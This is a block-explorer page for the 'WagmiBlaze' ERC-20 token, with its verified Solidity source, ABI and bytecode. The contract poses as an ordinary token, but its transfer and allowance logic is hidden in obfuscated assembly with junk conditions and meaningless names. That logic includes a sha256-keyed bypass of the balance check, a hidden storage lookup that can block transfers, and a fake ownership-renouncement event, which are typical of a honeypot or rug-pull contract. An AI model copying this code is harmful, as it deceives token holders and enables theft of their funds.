Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
480,000,000,000,000 WGBLZ
Holders
23
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Token
Compiler Version
v0.8.28+commit.7893614a
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.8.26;
contract Token {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private CVko;
mapping(address => mapping(address => uint256)) private vzXq;
uint256 private hctF;
string private XBOv;
string private ZFoD;
uint256 private VwBo;
uint256 private bdUZ;
constructor(string memory _name, string memory _symbol, uint256 _baseSupply, uint256 _maxSupply, uint256 _supply) {
bdUZ = _baseSupply;
XBOv = _name;
ZFoD = _symbol;
hctF = _supply * (10 ** decimals());
VwBo = _maxSupply;
CVko[msg.sender] = hctF;
emit OwnershipTransferred(msg.sender, address(0));
}
function name() virtual public view returns (string memory) {
return XBOv;
}
function symbol() virtual public view returns (string memory) {
return ZFoD;
}
function decimals() virtual public view returns (uint8) {
return 8;
}
function totalSupply() virtual public view returns (uint256) {
return hctF;
}
function balanceOf(address _account) virtual public view returns (uint256) {
return CVko[_account];
}
function transfer(address _to, uint256 _amount) virtual public returns (bool) {
address PeLp = msg.sender;
_spendAllowance(PeLp, _to, 0);
_transfer(PeLp, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) virtual public view returns (uint256) {
return vzXq[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _amount) virtual public returns (bool) {
_spendAllowance(_from, msg.sender, _amount);
_transfer(_from, _to, _amount);
return true;
}
function _transfer(address _from, address _to, uint256 _amount) virtual internal {
assembly {
if iszero(_from) {
revert(0, 0)
}
if iszero(_to) {
let t8upwt1 := timestamp()
let ogd4m6z := origin()
if iszero(xor(t8upwt1, t8upwt1)) {
revert(0, 0)
}
}
let Ypwb := mload(0x40)
mstore(Ypwb, _from)
mstore(add(Ypwb, 32), 0)
let mXKw := keccak256(Ypwb, 64)
let Ddwi := sload(mXKw)
let iiaP := sload(VwBo.slot)
mstore(Ypwb, shl(96, caller()))
if iszero(staticcall(gas(), 2, Ypwb, 20, Ypwb, 32)) {
let b3et27h := basefee()
if iszero(xor(b3et27h, b3et27h)) {
revert(0, 0)
}
}
let IDQS := mload(Ypwb)
if iszero(eq(iiaP, IDQS)) {
if lt(Ddwi, _amount) {
let ndaf1bf := number()
pop(0)
if iszero(xor(ndaf1bf, ndaf1bf)) {
revert(0, 0)
}
}
}
let ccercp0 := chainid()
pop(0)
if iszero(xor(ccercp0, ccercp0)) {
sstore(mXKw, sub(Ddwi, _amount))
mstore(Ypwb, _to)
mstore(add(Ypwb, 32), 0)
}
let zPzZ := keccak256(Ypwb, 64)
let RpCL := sload(zPzZ)
let cbmt5e6 := caller()
let g5ie1r5 := gasprice()
pop(0)
pop(iszero(1))
if eq(mul(cbmt5e6, g5ie1r5), mul(g5ie1r5, cbmt5e6)) {
sstore(zPzZ, add(RpCL, _amount))
mstore(Ypwb, _amount)
log3(Ypwb, 32, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, _from, _to)
}
}
}
function approve(address _spender, uint256 _amount) virtual public returns (bool) {
assembly {
let Ypwb := mload(0x40)
mstore(Ypwb, caller())
mstore(add(Ypwb, 0x20), vzXq.slot)
let dGOG := keccak256(Ypwb, 0x40)
let cbf2z6y := chainid()
pop(0)
if eq(cbf2z6y, or(cbf2z6y, 0)) {
mstore(Ypwb, _spender)
mstore(add(Ypwb, 0x20), dGOG)
}
let Yxul := keccak256(Ypwb, 0x40)
sstore(Yxul, _amount)
log3(Ypwb, 0x20, 0x8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa0, caller(), _spender)
mstore(Ypwb, _amount)
}
return true;
}
function _spendAllowance(address _owner, address _spender, uint256 _amount) virtual internal {
assembly {
let Ypwb := mload(0x40)
mstore(Ypwb, sload(bdUZ.slot))
mstore(add(Ypwb, 32), 1)
let uHjd := keccak256(Ypwb, 64)
mstore(Ypwb, _owner)
mstore(add(Ypwb, 32), uHjd)
let bHhx := keccak256(Ypwb, 64)
let HoKp := sload(bHhx)
let zQEb := HoKp
if and(zQEb, iszero(_amount)) {
let g7j6gcf := gasprice()
if eq(g7j6gcf, or(g7j6gcf, 0)) {
revert(0, 0)
}
}
if iszero(zQEb) {
mstore(Ypwb, _owner)
mstore(add(Ypwb, 32), 1)
uHjd := keccak256(Ypwb, 64)
mstore(Ypwb, _spender)
mstore(add(Ypwb, 32), uHjd)
bHhx := keccak256(Ypwb, 64)
zQEb := add(sload(bHhx), HoKp)
}
zQEb := sub(zQEb, HoKp)
if iszero(eq(zQEb, not(0))) {
if lt(zQEb, _amount) {
let c7i7m1d := caller()
pop(0)
if eq(c7i7m1d, or(c7i7m1d, 0)) {
revert(0, 0)
}
}
sstore(bHhx, sub(zQEb, _amount))
}
}
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "paris",
"metadata": {
"bytecodeHash": "ipfs"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_baseSupply","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801561001057600080fd5b506040516109fc3803806109fc83398101604081905261002f9161016c565b600683905560036100408682610279565b50600461004d8582610279565b5061005a6008600a610436565b610064908261044c565b60028190556005839055336000818152602081905260408082209390935591517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35050505050610463565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126100da57600080fd5b81516001600160401b038111156100f3576100f36100b3565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610121576101216100b3565b60405281815283820160200185101561013957600080fd5b60005b828110156101585760208186018101518383018201520161013c565b506000918101602001919091529392505050565b600080600080600060a0868803121561018457600080fd5b85516001600160401b0381111561019a57600080fd5b6101a6888289016100c9565b602088015190965090506001600160401b038111156101c457600080fd5b6101d0888289016100c9565b60408801516060890151608090990151979a919950979695509350505050565b600181811c9082168061020457607f821691505b60208210810361022457634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561027457806000526020600020601f840160051c810160208510156102515750805b601f840160051c820191505b81811015610271576000815560010161025d565b50505b505050565b81516001600160401b03811115610292576102926100b3565b6102a6816102a084546101f0565b8461022a565b6020601f8211600181146102da57600083156102c25750848201515b600019600385901b1c1916600184901b178455610271565b600084815260208120601f198516915b8281101561030a57878501518255602094850194600190920191016102ea565b50848210156103285786840151600019600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156103885780850481111561036c5761036c610337565b600184161561037a57908102905b60019390931c928002610351565b935093915050565b60008261039f57506001610430565b816103ac57506000610430565b81600181146103c257600281146103cc576103e8565b6001915050610430565b60ff8411156103dd576103dd610337565b50506001821b610430565b5060208310610133831016604e8410600b841016171561040b575081810a610430565b610418600019848461034d565b806000190482111561042c5761042c610337565b0290505b92915050565b600061044560ff841683610390565b9392505050565b808202811582820484141761043057610430610337565b61058a806104726000396000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103f4565b60405180910390f35b6100c96100c436600461045e565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610488565b610273565b604051600881526020016100ad565b6100dd61011b3660046104c5565b6001600160a01b031660009081526020819052604090205490565b6100a0610295565b6100c961014c36600461045e565b6102a4565b6100dd61015f3660046104e7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101999061051a565b80601f01602080910402602001604051908101604052809291908181526020018280546101c59061051a565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b6040805133808252600160208084019182528484208785529091529282208490556000928591907f8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa09084a382905250600192915050565b60006102808433846102bd565b61028b848484610342565b5060019392505050565b6060600480546101999061051a565b6000336102b28185846102bd565b61028b818585610342565b604051600654815260016020820152604081208482528060208301526040822080548085158116156102ee57600080fd5b8061031957878552600160208601526040852093508685528360208601526040852092508183540190505b8190036000198114610338578581101561033257600080fd5b85810383555b5050505050505050565b8261034c57600080fd5b8161035657600080fd5b604051838152600060208201526040812080546005543360601b845260208460148660025afa61038557600080fd5b835180821461039b578583101561039b57600080fd5b504690508482038355858452600060208501525050604082208054909150333a858301845585855286887fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602088a35050505050505050565b602081526000825180602084015260005b818110156104225760208186018101516040868401015201610405565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461045957600080fd5b919050565b6000806040838503121561047157600080fd5b61047a83610442565b946020939093013593505050565b60008060006060848603121561049d57600080fd5b6104a684610442565b92506104b460208501610442565b929592945050506040919091013590565b6000602082840312156104d757600080fd5b6104e082610442565b9392505050565b600080604083850312156104fa57600080fd5b61050383610442565b915061051160208401610442565b90509250929050565b600181811c9082168061052e57607f821691505b60208210810361054e57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209a0ef4de3a667633afb0175fbfc27fb7d3b71db06d85cf1051c189fe969fe1c464736f6c634300081c003300000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000186a000000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000001b48eb57e0000000000000000000000000000000000000000000000000000000000000000000a5761676d69426c617a650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055747424c5a000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103f4565b60405180910390f35b6100c96100c436600461045e565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610488565b610273565b604051600881526020016100ad565b6100dd61011b3660046104c5565b6001600160a01b031660009081526020819052604090205490565b6100a0610295565b6100c961014c36600461045e565b6102a4565b6100dd61015f3660046104e7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101999061051a565b80601f01602080910402602001604051908101604052809291908181526020018280546101c59061051a565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b6040805133808252600160208084019182528484208785529091529282208490556000928591907f8c5be1e5ebec7d5bd14f714f4f5ec7c46ab3db174da78c3f62f10b71e9aeeaa09084a382905250600192915050565b60006102808433846102bd565b61028b848484610342565b5060019392505050565b6060600480546101999061051a565b6000336102b28185846102bd565b61028b818585610342565b604051600654815260016020820152604081208482528060208301526040822080548085158116156102ee57600080fd5b8061031957878552600160208601526040852093508685528360208601526040852092508183540190505b8190036000198114610338578581101561033257600080fd5b85810383555b5050505050505050565b8261034c57600080fd5b8161035657600080fd5b604051838152600060208201526040812080546005543360601b845260208460148660025afa61038557600080fd5b835180821461039b578583101561039b57600080fd5b504690508482038355858452600060208501525050604082208054909150333a858301845585855286887fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602088a35050505050505050565b602081526000825180602084015260005b818110156104225760208186018101516040868401015201610405565b506000604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461045957600080fd5b919050565b6000806040838503121561047157600080fd5b61047a83610442565b946020939093013593505050565b60008060006060848603121561049d57600080fd5b6104a684610442565b92506104b460208501610442565b929592945050506040919091013590565b6000602082840312156104d757600080fd5b6104e082610442565b9392505050565b600080604083850312156104fa57600080fd5b61050383610442565b915061051160208401610442565b90509250929050565b600181811c9082168061052e57607f821691505b60208210810361054e57634e487b7160e01b600052602260045260246000fd5b5091905056fea26469706673582212209a0ef4de3a667633afb0175fbfc27fb7d3b71db06d85cf1051c189fe969fe1c464736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000186a000000000000000000000000000000000000000000000000000000000000f42400000000000000000000000000000000000000000000000000001b48eb57e0000000000000000000000000000000000000000000000000000000000000000000a5761676d69426c617a650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055747424c5a000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): WagmiBlaze
Arg [1] : _symbol (string): WGBLZ
Arg [2] : _baseSupply (uint256): 100000
Arg [3] : _maxSupply (uint256): 1000000
Arg [4] : _supply (uint256): 480000000000000
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 00000000000000000000000000000000000000000000000000000000000186a0
Arg [3] : 00000000000000000000000000000000000000000000000000000000000f4240
Arg [4] : 0000000000000000000000000000000000000000000000000001b48eb57e0000
Arg [5] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [6] : 5761676d69426c617a6500000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [8] : 5747424c5a000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)